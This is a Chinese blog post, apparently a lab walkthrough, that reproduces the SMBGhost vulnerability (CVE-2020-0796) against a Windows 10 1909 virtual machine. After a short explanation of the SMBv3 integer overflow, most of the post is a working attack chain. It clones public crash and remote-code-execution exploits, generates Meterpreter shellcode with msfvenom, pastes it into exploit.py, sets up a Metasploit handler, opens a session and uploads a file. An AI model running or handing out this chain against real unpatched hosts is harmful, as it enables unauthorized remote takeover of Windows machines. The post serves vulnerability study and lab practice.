永恒之黑漏洞复现

Posted 2022-12-05 T1009∞

永痕之黑

1. 永恒之黑漏洞相关信息

漏洞介绍 https://nvd.nist.gov/vuln/detail/CVE-2020-0796

漏洞影响版本：
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server 2016, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server 2016, Version 1909 (Server Core installation)windows 10 1909

原理：SMB远程代码执行漏洞

SMB 3.1.1协议中处理压缩消息时，对其中数据没有经过安全检查，直接使用会引发内存破坏漏洞，可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行，受黑客攻击的目标系统只需开机在线即可能被入侵。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包，在解压数据包的时候使用客户端传过来的长度进行解压时，并没有检查长度是否合法，最终导致整数溢出。

利用该漏洞，黑客可直接远程攻击SMB服务端远程执行任意恶意代码，亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

2. 实验环境

kali: 192.168.0.10

win10-1909教育版：192.168.0.8

（迅雷下载：ed2k://|file|cn_windows_10_business_editions_version_1909_updated_dec_2019_x64_dvd_262ac8af.iso|5301471232|FD9D7DD90D16FA14A682AEF49F8E712B|/）

关闭目标主机的防火墙

3. kali下载 POC和Getshell

蓝屏POC

git clone https://github.com/eerykitty/CVE-2020-0796-PoC

getshell

git clone https://github.com/chompie1337/SMBGhost_RCE_PoC

4. 执行蓝屏POC

python3 CVE-2020-0796.py 192.168.0.8

win10-1909蓝屏，攻击成功，说明存在漏洞。

5. getshell

使用msfvenom命令生成shellcode代码

msfconsole
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f py -o shellcode.txt

复制shellcode.txt内容进入SMBGhost_RCE_PoC文件编辑exploit.py，将USER_PAYLOAD段全部删除，将刚刚shellcode.txt内容复制进去
将buf改为USER_PAYLOAD

进入kali中的msf模块打开监听模块

use exploit/multi/handler #选择监听模块
set payload windows/x64/meterpreter/bind_tcp #使用监听模块
set lport 4444  #监听端口
set rhost 192.168.0.8  # 目标主机
run #运行

新开一个kali的shell运行exploit.py反弹shell，可能一次执行不成功就多运行几次。

python3 exploit.py -ip 192.168.0.8

可以看到msf监听模块成功建立起会话

查看一下系统信息

sysinfo

上传kali的一个文件到win10， 获取shell

upload /root/Desktop/flag.txt

在win10 可以找到flag.txt

漏洞复现成功